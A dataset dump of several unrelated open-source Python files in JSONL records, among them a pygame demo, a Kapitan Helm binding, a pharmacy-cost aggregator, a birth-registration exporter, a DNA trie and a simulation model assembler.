[\"resources/image/plane_ok_1.png\", \"resources/image/plane_ok_2.png\"]\n\n def __init__(self, pos=(0,0), speed=5):\n self.images = []\n for x in Plane.__images:\n img = pygame.image.load(x)\n self.images.append(img)\n\n self.rect = self.images[0].get_rect()\n self.rect.topleft = pos\n self.speed = speed\n\n def move(self, offset):\n x_off = offset[K_RIGHT] - offset[K_LEFT]\n y_off = offset[K_DOWN] - offset[K_UP]\n self.rect = self.rect.move(x_off, y_off)\n \n def update(self):\n pass\n\n\noffset = {K_LEFT:0, K_RIGHT:0, K_UP:0, K_DOWN:0}\n\npygame.init()\nscreen = pygame.display.set_mode((SCREEN_WIDTH, SCREEN_HEIGHT))\npygame.display.set_caption(\"Plane Flight\")\n\nbk_img = pygame.image.load(\"resources/image/background.png\")\nbk_music = pygame.mixer.Sound(\"resources/music/game_music.ogg\")\n\nplane_pos = [SCREEN_WIDTH // 2, SCREEN_HEIGHT * 2 //3]\n\nbk_music.play(-1)\n\ntick = 0\nclock = pygame.time.Clock()\n\n\n\nplane = Plane(plane_pos, 5)\n\nwhile True:\n for event in pygame.event.get():\n if event.type == QUIT:\n pygame.quit()\n sys.exit()\n \n if event.type == KEYDOWN:\n offset[event.key] = 5\n elif event.type == KEYUP:\n offset[event.key] = 0\n \n\n screen.blit(bk_img, (0,0))\n plane.move(offset)\n\n if tick % 30 < 15:\n screen.blit(plane.images[0], plane.rect)\n else:\n screen.blit(plane.images[1], plane.rect)\n tick += 1\n\n pygame.display.update()\n clock.tick(60)\n","sub_path":"python-edu/plane/03-plane.py","file_name":"03-plane.py","file_ext":"py","file_size_in_byte":1730,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"92374483","text":"###############################################################################\n#IMPORT\nimport pandas as pd\nimport numpy as np\n###############################################################################\ndef organizeDataFrame(dados0:list, nameColumn0:list, \n dados1:list,nameColumn1:list):\n\n 'Filtering dataframe, organizing calibration data in three columns'\n x = organizeData(dados0, nameColumn0)\n y = organizeData(dados1, nameColumn1)\n \n return x, y\n\n###############################################################################\n\ndef organizeData(dados:list,nameColumn:list)->list:\n 'Returns a list of items with data type panda organized in 3 columns'\n dataFRAME = []\n for x in dados:\n a = 0\n b = []\n c = []\n d = []\n for i, row in x.iterrows():\n if a == 0:\n b.append(row['MISO'])\n elif a == 1:\n c.append(row['MISO'])\n elif a == 2:\n d.append(row['MISO'])\n \n if a < 2:\n a += 1\n else:\n a = 0\n\n data = []\n data.append(np.array(b))\n data.append(np.array(c))\n data.append(np.array(d))\n data = np.array(data)\n data = data.T\n\n index = []\n for i in range(len(b)):\n index.append(i)\n dataFRAME.append(pd.DataFrame(data,index, columns=[nameColumn]))\n \n return dataFRAME\n\n###############################################################################\n\n\n\n\n\n\n\n\n","sub_path":"Library/organizeData.py","file_name":"organizeData.py","file_ext":"py","file_size_in_byte":1642,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"367924075","text":"import logging\nimport os\nfrom kapitan.errors import HelmBindingUnavailableError, HelmTemplateError\nfrom kapitan.inputs.base import InputType, CompiledFile\nimport tempfile\nimport platform\nimport yaml\n\ntry:\n from kapitan.inputs.helm.helm_binding import ffi\nexcept ImportError:\n pass # make this feature optional\n\nlogger = logging.getLogger(__name__)\n\n\nclass Helm(InputType):\n def __init__(self, compile_path, search_paths, ref_controller):\n super().__init__(\"helm\", compile_path, search_paths, ref_controller)\n self.helm_values_file = None\n self.helm_params = {}\n self.lib = self.initialise_binding()\n\n def initialise_binding(self):\n \"\"\"returns the dl_opened library (.so file) if exists, otherwise None\"\"\"\n if platform.system() not in ('Linux', 'Darwin'): # TODO: later add binding for Mac\n return None\n # binding_path is kapitan/inputs/helm/libtemplate.so\n binding_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), \"libtemplate.so\")\n if not os.path.exists(binding_path):\n logger.debug('The helm binding does not exist at {}'.format(binding_path))\n return None\n try:\n lib = ffi.dlopen(binding_path)\n except (NameError, OSError) as e:\n raise HelmBindingUnavailableError('There was an error opening helm binding. '\n 'Refer to the exception below:\\n' + str(e))\n return lib\n\n def dump_helm_values(self, helm_values):\n \"\"\"dump helm values into a yaml file whose path will be passed over to Go helm code\"\"\"\n _, self.helm_values_file = tempfile.mkstemp('.helm_values.yml', text=True)\n with open(self.helm_values_file, 'w') as fp:\n yaml.safe_dump(helm_values, fp)\n\n def set_helm_params(self, helm_params):\n self.helm_params = helm_params\n\n def compile_file(self, file_path, compile_path, ext_vars, **kwargs):\n \"\"\"\n Render templates in file_path/templates and write to compile_path.\n file_path must be a directory containing helm chart.\n kwargs:\n reveal: default False, set to reveal refs on compile\n target_name: default None, set to current target being compiled\n \"\"\"\n if not self.lib:\n raise HelmBindingUnavailableError(\"Helm binding is not supported for {}.\"\n \"\\nOr the binding does not exist.\".format(platform.system()))\n\n reveal = kwargs.get('reveal', False)\n target_name = kwargs.get('target_name', None)\n\n temp_dir = tempfile.mkdtemp()\n os.makedirs(os.path.dirname(compile_path), exist_ok=True)\n # save the template output to temp dir first\n error_message = self.render_chart(chart_dir=file_path, output_path=temp_dir,\n helm_values_file=self.helm_values_file, **self.helm_params)\n if error_message:\n raise HelmTemplateError(error_message)\n\n walk_root_files = os.walk(temp_dir)\n for current_dir, _, files in walk_root_files:\n for file in files: # go through all the template files\n rel_dir = os.path.relpath(current_dir, temp_dir)\n rel_file_name = os.path.join(rel_dir, file)\n full_file_name = os.path.join(current_dir, file)\n with open(full_file_name, 'r') as f:\n item_path = os.path.join(compile_path, rel_file_name)\n os.makedirs(os.path.dirname(item_path), exist_ok=True)\n with CompiledFile(item_path, self.ref_controller, mode=\"w\", reveal=reveal, target_name=target_name) as fp:\n fp.write(f.read())\n logger.debug(\"Wrote file %s to %s\", full_file_name, item_path)\n\n self.helm_values_file = None # reset this\n self.helm_params = {}\n\n def default_output_type(self):\n return None\n\n def render_chart(self, chart_dir, output_path, **kwargs):\n \"\"\"renders helm chart located at chart_dir, and stores the output to output_path\"\"\"\n if kwargs.get('helm_values_file', None):\n helm_values_file = ffi.new(\"char[]\", kwargs['helm_values_file'].encode('ascii'))\n else:\n # the value in kwargs can be None\n helm_values_file = ffi.new(\"char[]\", \"\".encode('ascii'))\n\n if kwargs.get('namespace', None):\n namespace = ffi.new(\"char[]\", kwargs['namespace'].encode('ascii'))\n else:\n namespace = ffi.new(\"char[]\", 'default'.encode('ascii'))\n\n if kwargs.get('release_name', None):\n release_name = ffi.new(\"char[]\", kwargs['release_name'].encode('ascii'))\n else:\n release_name = ffi.new(\"char[]\", ''.encode('ascii'))\n\n if kwargs.get('name_template', None):\n name_template = ffi.new(\"char[]\", kwargs['name_template'].encode('ascii'))\n else:\n name_template = ffi.new(\"char[]\", ''.encode('ascii'))\n\n char_dir_buf = ffi.new(\"char[]\", chart_dir.encode('ascii'))\n output_path_buf = ffi.new(\"char[]\", output_path.encode('ascii'))\n\n c_error_message = self.lib.renderChart(char_dir_buf, output_path_buf,\n helm_values_file, namespace,\n release_name, name_template)\n error_message = ffi.string(c_error_message) # this creates a copy as bytes\n self.lib.free(c_error_message) # free the char* returned by go\n return error_message.decode(\"utf-8\") # empty if no error\n","sub_path":"kapitan/inputs/helm/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":5607,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"456528310","text":"ASNB_FUNDS_DATA = {\n \"ASM\": {\n \"name\": \"Amanah Saham Malaysia\",\n \"alt_name\": \"ASM\",\n \"is_active\": True,\n \"elements\": {\n \"id\": \"submit_buy_ASM\",\n \"initial_investment_xpath\": \"//input[@id='submit_initial_invest_ASM']\",\n \"additional_investment_xpath\": \"//*[@id='form1_ASM']/div/button\"\n }\n },\n \"ASW\": {\n \"name\": \"Amanah Saham Malaysia 2 - Wawasan\",\n \"alt_name\": \"ASM2\",\n \"is_active\": True,\n \"elements\": {\n \"id\": \"submit_buy_ASW\",\n \"initial_investment_xpath\": \"//input[@id='submit_initial_invest_ASW']\",\n \"additional_investment_xpath\": \"//*[@id='form1_ASW']/div/button\"\n }\n },\n \"AS1M\": {\n \"name\": \"Amanah Saham Malaysia 3\",\n \"alt_name\": \"ASM3\",\n \"is_active\": True,\n \"elements\": {\n \"id\": \"submit_buy_AS1M\",\n \"initial_investment_xpath\": \"//input[@id='submit_initial_invest_AS1M']\",\n \"additional_investment_xpath\": \"//*[@id='form1_AS1M']/div/button\"\n }\n }\n}\n","sub_path":"lib/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":1073,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"321395477","text":"import logging\n\nimport utilities.configurationhandler as configurationhandler\nimport pint\n\nmodule_logger = logging.getLogger(\n configurationhandler.config[\"logging\"][\"MODULE_LOGGER\"]\n)\n\n\nureg = None\n\n\ndef configure():\n global ureg\n # import unit registry and definitions\n ureg = pint.UnitRegistry()\n module_logger.info(\"./resources/default_en.txt\")\n ureg.load_definitions(\"./resources/default_en.txt\")\n","sub_path":"enviroplusmonitor/utilities/unitregistryhandler.py","file_name":"unitregistryhandler.py","file_ext":"py","file_size_in_byte":420,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"238856576","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Feb 19 05:52:09 2019\n\n@author: varunwalvekar\n\"\"\"\n\nfrom argparse import ArgumentParser\nfrom collections import defaultdict\n\n# function to read input file, calculateresult and write result in outputfile\ndef process_data(input_file, output_file):\n multiple_drug_nested_dict = {} # nesteddictionary - key(drugname) value(dictionary of patients and drugamount)\n with open(input_file,'r') as inpt:\n for line in inpt:\n line = line.strip() \n line_data = line.split(',')\n try:\n patient_id = line_data[0]\n patient_ln = str(line_data[1])\n patient_fn = str(line_data[2])\n patientname = (patient_ln + patient_fn)\n drug_name = str(line_data[3].strip('\\\"'))\n drug_expense = float(line_data[4])\n # Ignore rows which do not have a number as drugamount\n except ValueError: \n continue\n #Ignore rows which do not have all 5 values(missing values too should be comma seperated)\n except IndexError:\n continue\n # check for conditions and add key,value to the multiple_nested_dictionary\n if drug_name in multiple_drug_nested_dict:\n single_drug_dict = multiple_drug_nested_dict[drug_name]\t\n\t\t\t\t# Check to see unique patient names, and, total drug cost\n if patientname in single_drug_dict:\n existing_expense = single_drug_dict[patientname]\n single_drug_dict[patientname] = existing_expense + drug_expense\n else:\n single_drug_dict[patientname] = drug_expense\n else:\n single_drug_dict = {}\n single_drug_dict[patientname] = drug_expense\n multiple_drug_nested_dict[drug_name] = single_drug_dict\n \n #create a defaultdictionary to store the output\n output_dict = defaultdict(list)\t\n with open(output_file, 'w') as output:\n #write the header\n output.write(\"%s,%s,%s\\n\"%('drug_name','num_prescriber','total_cost'))\n # Calculate the total unique patients and sum of drug cost\n for drug in multiple_drug_nested_dict:\n drug_cost = 0\n unique_patients = 0\n single_drug_dict = multiple_drug_nested_dict[drug]\n for patient_id in single_drug_dict:\n unique_patients += 1\n drug_cost += int(single_drug_dict[patient_id])\n output_dict[drug] = [drug_cost,unique_patients]\n for idx in sorted(output_dict, key=output_dict.get, reverse=True):\n output.write(\"%s,%s,%s\\n\"%(idx,output_dict[idx][1],output_dict[idx][0]))\n\n\n# main function to parse \ndef main():\n parser = ArgumentParser(description='Parse input output')\n parser.add_argument(\"input\")\n parser.add_argument(\"output\")\n args = parser.parse_args()\n process_data(args.input,args.output)\n \n \nif __name__ == \"__main__\":\n\tmain()","sub_path":"src/pharmacy_counting.py","file_name":"pharmacy_counting.py","file_ext":"py","file_size_in_byte":3071,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"650324223","text":"import calendar\nfrom datetime import datetime\nfrom dateutil.relativedelta import relativedelta\nfrom itertools import product\nimport numpy as np\nimport pandas as pd\n# tablib is needed because apart from CSV, pandas doesn't do much to support\n# writing to in-memory buffers.\nimport tablib\nfrom locations.models import Location\nfrom br import helpers\nfrom br.models import BirthRegistration\n\n\nheaders = ['Date', 'State', 'LGA', 'Boys < 1', 'Boys 1-4', 'Boys 5-9',\n 'Boys 10-17', 'Girls < 1', 'Girls 1-4', 'Girls 5-9', 'Girls 10-17']\n\n\ndef get_location_subnodes(location):\n subnodes = location.nx_descendants(include_self=True)\n center_pks = [node['id'] for node in subnodes if node['type'] == 'RC']\n state_nodes = [node for node in subnodes if node['type'] == 'State']\n location_tree = {}\n for node in state_nodes:\n location_tree[node['name']] = [n['name'] for n in Location._subnodes(node, 'LGA')]\n\n return center_pks, location_tree\n\n\ndef export_records(location, year, month=None, cumulative=False, format=None):\n if month:\n start_date = datetime(year, month, 1)\n end_date = datetime(year, month, 1) + relativedelta(months=1) - relativedelta(seconds=1)\n else:\n start_date = datetime(year, 1, 1)\n end_date = datetime(year, 1, 1) + relativedelta(years=1) - relativedelta(seconds=1)\n\n if cumulative:\n start_date = datetime.fromtimestamp(0)\n\n center_pks, location_tree = get_location_subnodes(location)\n\n records = BirthRegistration.objects.filter(\n location__pk__in=center_pks,\n time__range=(start_date, end_date)\n ).values(\n 'girls_below1', 'girls_1to4', 'girls_5to9', 'girls_10to18',\n 'boys_below1', 'boys_1to4', 'boys_5to9', 'boys_5to9',\n 'boys_10to18', 'location__parent__name',\n 'location__parent__parent__name', 'time'\n )\n\n dataframe = pd.DataFrame(list(records))\n dataset = tablib.Dataset(headers=headers)\n\n if not dataframe.empty:\n dataframe = dataframe.set_index('time').sort() \\\n .rename(columns={'location__name': 'rc',\n 'location__parent__name': 'lga',\n 'location__parent__parent__name': 'state'\n })\n\n df_export = dataframe.groupby([dataframe.index.to_period('M'), dataframe.state, dataframe.lga]).sum()\n\n dates = sorted(set([idx[0] for idx in df_export.index]))\n states = sorted(location_tree.keys())\n for state in states:\n lgas = sorted(location_tree[state])\n for m_index in product(dates, [state], lgas):\n row = [str(m_index[0]), m_index[1], m_index[2]]\n\n try:\n row.extend(df_export.ix[m_index][[\n 'boys_below1', 'boys_1to4', 'boys_5to9', 'boys_10to18',\n 'girls_below1', 'girls_1to4', 'girls_5to9', 'girls_10to18',\n ]])\n except KeyError:\n row.extend(['-'] * 8)\n dataset.append(row)\n\n if format:\n return getattr(dataset, format, dataset.xlsx)\n else:\n return dataset.xlsx\n\n\ndef export_records_2(location, year, month=None, columns=None, format=None):\n '''This function requires pandas 0.15+'''\n dataframe = helpers.get_record_dataset(location, year, month)\n\n if dataframe.empty:\n return u''\n\n column_map_data = {\n u'boys_below1': u'Boys < 1',\n u'boys_1to4': u'Boys 1 to 4',\n u'boys_5to9': u'Boys 5 to 9',\n u'boys_10to18': u'Boys 10 to 17',\n u'girls_below1': u'Girls < 1',\n u'girls_1to4': u'Girls 1 to 4',\n u'girls_5to9': u'Girls 5 to 9',\n u'girls_10to18': u'Girls 10 to 17',\n }\n column_map_locs = {\n u'rc': u'RC',\n u'lga': u'LGA',\n u'state': u'State',\n }\n\n column_map = {}\n column_map.update(column_map_data)\n column_map.update(column_map_locs)\n\n dataframe = dataframe.rename(columns=column_map)\n columns = column_map_data.values() if columns is None else [column_map_data[c] for c in columns]\n\n if month:\n start_date = datetime(year, month, 1)\n end_date = datetime(year, month, 1) + relativedelta(months=1) - relativedelta(seconds=1)\n else:\n start_date = datetime(year, 1, 1)\n end_date = datetime(year, 1, 1) + relativedelta(years=1) - relativedelta(seconds=1)\n\n dataframe = dataframe.truncate(before=start_date, after=end_date)\n\n # TODO: ensure that only a country or a state is sent in here.\n if location.type.name == u'Country':\n column_spec = [u'State']\n elif location.type.name == u'State':\n column_spec = [u'LGA']\n descendant_locs = location.get_descendants().filter(\n type__name=column_spec[0]).order_by(u'name')\n\n pivot_table = pd.pivot_table(dataframe, index=dataframe.index.month, values=columns, columns=column_spec, aggfunc=[np.sum])\n\n # get the transpose\n export_df = pivot_table.T.loc[u'sum'].fillna(u'-')\n \n headers = [u''] + column_spec + [calendar.month_abbr[i] for i in export_df.columns.tolist()]\n\n dataset = tablib.Dataset(headers=headers)\n indexer = product(columns, list(descendant_locs.values_list(u'name', flat=True)))\n\n for index in indexer:\n try:\n row = export_df.ix[index].tolist()\n except KeyError:\n row = [u'-'] * export_df.shape[1]\n\n dataset.append(list(index) + row)\n\n if format:\n return getattr(dataset, format, dataset.csv)\n\n return dataset.csv\n\ndef export_records_3(location, year, month=None, format=None):\n dataframe, subnodes = helpers.get_performance_dataframe(location, year, month)\n\n old_columns = [\n u'sum_girls_below1',\n u'sum_girls_1to4',\n u'sum_girls_5to9',\n u'sum_girls_10to18',\n u'sum_boys_below1',\n u'sum_boys_1to4',\n u'sum_boys_5to9',\n u'sum_boys_10to18',\n u'under_1',\n u'1to4',\n u'above5',\n ]\n\n new_columns = [\n u'Girls < 1',\n u'Girls 1 to 4',\n u'Girls 5 to 9',\n u'Girls 10+',\n u'Boys < 1',\n u'Boys 1 to 4',\n u'Boys 5 to 9',\n u'Boys 10+',\n u'Total < 1',\n u'Total 1 to 4',\n u'Total 5+',\n ]\n\n sort_column = u''\n\n if location.type.name == u'Country':\n old_columns.insert(0, u'state')\n new_columns.insert(0, u'State')\n sort_column = u'state'\n elif location.type.name == u'State':\n old_columns.insert(0, u'lga')\n new_columns.insert(0, u'LGA')\n sort_column = u'lga'\n\n column_map = dict(zip(old_columns, new_columns))\n\n dataframe = dataframe.sort_values(by=sort_column).rename(columns=column_map)\n headers = new_columns + [u'U1 Performance', u'U5 Performance']\n\n dataset = tablib.Dataset(headers=headers)\n for record in dataframe.to_dict(orient=u'records'):\n try:\n record[u'U1 Performance'] = round(record[u'U1 Performance'], 2)\n except TypeError:\n pass\n try:\n record[u'U5 Performance'] = round(record[u'U5 Performance'], 2)\n except TypeError:\n pass\n\n dataset.append([record[col] for col in headers])\n\n if format:\n return getattr(dataset, format, dataset.csv)\n\n return dataset.csv\n","sub_path":"br/exporter.py","file_name":"exporter.py","file_ext":"py","file_size_in_byte":7266,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"163901519","text":"from typing import ClassVar\n\nfrom pydantic.dataclasses import dataclass\n\nfrom .base import Queryable, Retrievable\nfrom .resources import retrieve_uri\n\n\n@dataclass\nclass BalanceEntry(Retrievable, Queryable):\n _resource: ClassVar = 'balance_entries'\n\n amount: int # negative in the case of a debit\n descriptor: str\n rolling_balance: int\n transaction_uri: str\n\n @property # type: ignore\n def transaction(self):\n return retrieve_uri(self.transaction_uri)\n","sub_path":"cuenca/resources/balance_entries.py","file_name":"balance_entries.py","file_ext":"py","file_size_in_byte":481,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"229493098","text":"# This code is contributed by Atul Kumar (www.facebook.com/atul.kr.007)\n# From https://www.geeksforgeeks.org/trie-insert-and-search/\n# Adapted for DNA alphabets\n\nclass TrieNode(object):\n # Trie node class\n def __init__(self):\n self.children = [None] * 4\n\n # values is set for leaves\n self.values = []\n\n def is_leaf(self):\n return len(self.values) != 0\n\n\nclass Trie(object):\n # Trie data structure class\n def __init__(self):\n self.root = self._get_new_node()\n\n @staticmethod\n def _get_new_node():\n # Returns new trie node (initialized to NULLs)\n return TrieNode()\n\n @staticmethod\n def _char_to_index(ch):\n indices = {'A': 0, 'T': 1, 'C': 2, 'G': 3}\n # private helper function\n # Converts key current character into index\n # use only 'a' through 'z' and lower case\n return indices.get(ch, -1)\n\n def insert(self, key, value):\n # If not present, inserts key into trie\n # If the key is prefix of trie node,\n # just marks leaf node\n p_crawl = self.root\n length = len(key)\n for level in range(length):\n index = self._char_to_index(key[level])\n\n # if current character is not present\n if not p_crawl.children[index]:\n p_crawl.children[index] = self._get_new_node()\n p_crawl = p_crawl.children[index]\n\n # mark last node as leaf\n p_crawl.values.append(value)\n return p_crawl\n\n def search(self, key):\n # Search key in the trie\n # Returns true if key presents\n # in trie, else false\n p_crawl = self.root\n length = len(key)\n for level in range(length):\n index = self._char_to_index(key[level])\n if not p_crawl.children[index]:\n return None\n p_crawl = p_crawl.children[index]\n\n if p_crawl is not None and p_crawl.is_leaf():\n return p_crawl\n else:\n return None\n\n def search_longest_matching_prefix(self, key):\n p_crawl = self.root\n length = len(key)\n for level in range(length):\n if p_crawl.is_leaf():\n return True, key[:level], p_crawl\n index = self._char_to_index(key[level])\n if not p_crawl.children[index]:\n return False, key[:level], p_crawl\n p_crawl = p_crawl.children[index]\n\n return True, key, p_crawl\n","sub_path":"utils/trie.py","file_name":"trie.py","file_ext":"py","file_size_in_byte":2465,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"1254303","text":"#!/usr/bin/env python\n\ndef main():\n \"\"\"\n Demonstrate passing a wrapped C++ object to an I3Module through its parameter\n \"\"\"\n from icecube.icetray import I3Int\n from icecube import examples\n from I3Tray import I3Tray\n\n tray = I3Tray()\n\n i3int = I3Int(777)\n\n #\n # You can pass a frameobject to an I3Module. The I3Module just does\n # I3IntPtr ip;\n # GetParameter(\"where\", ip);\n #\n # Note the new keyword argument syntax\n #\n tray.AddModule(\"GetI3Int\",\"giint\",\n obj = i3int)\n\n #\n # Doesn't actually do anything... just demonstrates that the I3Int\n # makes it through to The GetI3Int module\n #\n tray.Execute(1)\n\n tray.Finish()\n\nif __name__ == '__main__':\n main()\n \n","sub_path":"resources/test/A1_pass_i3int_to_module.py","file_name":"A1_pass_i3int_to_module.py","file_ext":"py","file_size_in_byte":750,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"118434171","text":"import ast\nimport itertools\nimport numpy as np\nimport operator\nimport re\nimport time\nimport uuid\n\nfrom numba import jitclass\nimport pandas as pd\nfrom numerous.engine.model.equation_parser import Equation_Parser\nfrom numerous.engine.model.numba_model import numba_model_spec, NumbaModel\nfrom numerous.engine.system.connector import Connector\nfrom examples.historyDataFrameCallbackExample import HistoryDataFrameCallback\nfrom numerous.engine.scope import Scope, ScopeVariable\n# from numerous.engine.simulation.simulation_callbacks import _SimulationCallback, _Event\n\nfrom numerous.engine.system.subsystem import Subsystem\nfrom numerous.engine.variables import VariableType\nfrom numerous.utils.numba_callback import NumbaCallbackBase\n\nimport operator\n\nclass ModelNamespace:\n\n def __init__(self, tag,outgoing_mappings):\n self.tag = tag\n self.outgoing_mappings = outgoing_mappings\n self.equation_dict = {}\n self.eq_variables_ids = []\n self.variables = {}\n\n\nclass ModelAssembler:\n\n @staticmethod\n def __create_scope(eq_tag, eq_methods, eq_variables, namespace, tag, variables):\n scope_id = \"{0}_{1}_{2}\".format(eq_tag, namespace.tag, tag, str(uuid.uuid4()))\n scope = Scope(scope_id)\n for variable in eq_variables:\n scope.add_variable(variable)\n variable.bound_equation_methods = eq_methods\n variable.parent_scope_id = scope_id\n # Needed for updating states after solve run\n if variable.type.value == VariableType.STATE.value:\n variable.associated_state_scope.append(scope_id)\n variables.update({variable.id: variable})\n return scope\n\n @staticmethod\n def t_1(input_namespace):\n scope_select = {}\n variables = {}\n equation_dict = {}\n tag, namespaces = input_namespace\n for namespace in namespaces:\n for i, (eq_tag, eq_methods) in enumerate(namespace.equation_dict.items()):\n scope = ModelAssembler.__create_scope(eq_tag, eq_methods,\n map(namespace.variables.get, namespace.eq_variables_ids[i]),\n namespace, tag, variables)\n scope_select.update({scope.id: scope})\n equation_dict.update({scope.id: (eq_methods, namespace.outgoing_mappings)})\n\n return variables, scope_select, equation_dict\n\n\nclass Model:\n \"\"\"\n The model object traverses the system to collect all information needed to pass to the solver\n for computation – the model also back-propagates the numerical results from the solver into the system,\n so they can be accessed as variable values there.\n \"\"\"\n\n def __init__(self, system=None, historian=None, assemble=True, validate=False):\n\n self.numba_callbacks_init = []\n self.numba_callbacks_variables = []\n self.numba_callbacks = []\n self.numba_callbacks_init_run = []\n self.callbacks = []\n\n self.system = system\n self.events = {}\n self.derivatives = {}\n self.model_items = {}\n self.state_history = {}\n self.synchronized_scope = {}\n self.compiled_eq = []\n self.flat_scope_idx = None\n self.flat_scope_idx_from = None\n self.historian_df = None\n\n self.global_variables_tags = ['time']\n self.global_vars = np.array([0], dtype=np.float64)\n\n self.equation_dict = {}\n self.scope_variables = {}\n self.variables = {}\n self.flat_variables = {}\n self.path_variables = {}\n self.path_scope_variables = {}\n self.states = {}\n self.period = 1\n self.mapping_from = []\n self.mapping_to = []\n self.eq_outgoing_mappings = []\n self.sum_mapping_from = []\n self.sum_mapping_to = []\n self.states_idx = []\n self.derivatives_idx = []\n self.scope_to_variables_idx = []\n self.numba_model = None\n\n self.info = {}\n if assemble:\n self.assemble()\n\n if validate:\n self.validate()\n\n\n def __add_item(self, item):\n model_namespaces = []\n if item.id in self.model_items:\n return model_namespaces\n\n if item.callbacks:\n self.callbacks.append(item.callbacks)\n\n self.model_items.update({item.id: item})\n model_namespaces.append((item.id, self.create_model_namespaces(item)))\n if isinstance(item, Connector):\n for binded_item in item.get_binded_items():\n model_namespaces.extend(self.__add_item(binded_item))\n if isinstance(item, Subsystem):\n for registered_item in item.registered_items.values():\n model_namespaces.extend(self.__add_item(registered_item))\n return model_namespaces\n\n def assemble(self):\n \"\"\"\n Assembles the model.\n \"\"\"\n \"\"\"\n notation:\n - _idx for single integers / tuples, \n - _idxs for lists / arrays of integers\n - _pos as counterpart to _from\n - Using _flat / _3d only as suffix\n\n \"\"\"\n print(\"Assembling numerous Model\")\n assemble_start = time.time()\n\n # 1. Create list of model namespaces\n model_namespaces = [_ns\n for item in self.system.registered_items.values()\n for _ns in self.__add_item(item)]\n\n # 2. Compute dictionaries\n # equation_dict \n # synchronized_scope \n # scope_variables \n for variables, scope_select, equation_dict in map(ModelAssembler.t_1, model_namespaces):\n\n self.equation_dict.update(equation_dict)\n self.synchronized_scope.update(scope_select)\n self.scope_variables.update(variables)\n\n # 3. Compute compiled_eq and compiled_eq_idxs, the latter mapping\n # self.synchronized_scope to compiled_eq (by index)\n equation_parser = Equation_Parser()\n self.compiled_eq, self.compiled_eq_idxs,self.eq_outgoing_mappings = equation_parser.parse(self)\n\n\n # 4. Create self.states_idx and self.derivatives_idx\n # Fixes each variable's var_idx (position), updates variables[].idx_in_scope\n scope_variables_flat = np.fromiter(\n map(operator.attrgetter('value'), self.scope_variables.values()),\n np.float64)\n for var_idx, var in enumerate(self.scope_variables.values()):\n var.position = var_idx\n self.variables[var.id].idx_in_scope.append(var_idx)\n _fst = operator.itemgetter(0)\n _snd_is_derivative = lambda var: var[1].type == VariableType.DERIVATIVE\n _snd_is_state = lambda var: var[1].type == VariableType.STATE\n self.states_idx = np.fromiter(map(_fst, filter(\n _snd_is_state, enumerate(self.scope_variables.values()))),\n np.int64)\n self.derivatives_idx = np.fromiter(map(_fst, filter(\n _snd_is_derivative, enumerate(self.scope_variables.values()))),\n np.int64)\n\n def __get_mapping__idx(variable):\n if variable.mapping:\n return __get_mapping__idx(variable.mapping)\n else:\n return variable.idx_in_scope[0]\n\n # maps flat var_idx to scope_idx\n self.var_idx_to_scope_idx = np.full_like(scope_variables_flat, -1, int)\n self.var_idx_to_scope_idx_from = np.full_like(scope_variables_flat, -1, int)\n\n non_flat_scope_idx_from = [[] for _ in range(len(self.synchronized_scope))]\n non_flat_scope_idx = [[] for _ in range(len(self.synchronized_scope))]\n sum_idx = []\n sum_mapped = []\n sum_mapped_idx = []\n sum_mapped_idx_len = []\n self.sum_mapping = False\n\n for scope_idx, scope in enumerate(self.synchronized_scope.values()):\n for scope_var_idx, var in enumerate(scope.variables.values()):\n _from = __get_mapping__idx(self.variables[var.mapping_id]) \\\n if var.mapping_id else var.position\n\n self.var_idx_to_scope_idx[var.position] = scope_idx\n self.var_idx_to_scope_idx_from[_from] = scope_idx\n\n non_flat_scope_idx_from[scope_idx].append(_from)\n non_flat_scope_idx[scope_idx].append(var.position)\n if not var.mapping_id and var.sum_mapping_ids:\n sum_idx.append(self.variables[var.id].idx_in_scope[0])\n start_idx = len(sum_mapped)\n sum_mapped += [self.variables[_var_id].idx_in_scope[0]\n for _var_id in var.sum_mapping_ids]\n end_idx = len(sum_mapped)\n sum_mapped_idx = sum_mapped_idx + list(range(start_idx, end_idx))\n sum_mapped_idx_len.append(end_idx - start_idx)\n self.sum_mapping = True\n\n\n\n # TODO @Artem: document these\n # non_flat_scope_idx is #scopes x number_of variables indexing?\n self.non_flat_scope_idx_from = np.array(non_flat_scope_idx_from)\n self.non_flat_scope_idx = np.array(non_flat_scope_idx)\n\n self.flat_scope_idx_from = np.array([x for xs in self.non_flat_scope_idx_from for x in xs])\n self.flat_scope_idx = np.array([x for xs in self.non_flat_scope_idx for x in xs])\n \n self.sum_idx = np.array(sum_idx)\n self.sum_mapped = np.array(sum_mapped)\n self.sum_mapped_idxs_len = np.array(sum_mapped_idx_len, dtype=np.int64)\n if self.sum_mapping:\n self.sum_slice_idxs = np.array(sum_mapped_idx, dtype=np.int64)\n else:\n self.sum_slice_idxs = np.array([], dtype=np.int64)\n\n # eq_idx -> #variables used. Can this be deduced earlier in a more elegant way?\n self.num_vars_per_eq = np.fromiter(map(len, self.non_flat_scope_idx), np.int64)[\n np.unique(self.compiled_eq_idxs, return_index=True)[1]]\n # eq_idx -> # equation instances\n self.num_uses_per_eq = np.unique(self.compiled_eq_idxs, return_counts=True)[1]\n\n # float64 array of all variables' current value\n self.flat_variables = np.array([x.value for x in self.variables.values()])\n self.flat_variables_ids = [x.id for x in self.variables.values()]\n self.scope_to_variables_idx = np.array([x.idx_in_scope for x in self.variables.values()])\n\n # (eq_idx, ind_eq_access) -> scope_variable.value\n\n # 